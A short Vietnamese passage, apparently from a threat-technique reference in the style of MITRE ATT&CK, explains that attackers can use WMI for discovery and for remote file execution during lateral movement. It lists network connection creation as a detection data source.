Kẻ tấn công có thể sử dụng WMI để tương tác với các hệ thống cục bộ và từ xa, và sử dụng nó như một phương tiện để thực hiện các hành vi khác nhau, bao gồm thu thập thông tin cho mục đích khám phá (Discovery) cũng như thực thi từ xa các tệp tin trong quá trình di chuyển ngang hệ thống (Lateral Movement).

Detection: Network Traffic:

+ Network Connection Creation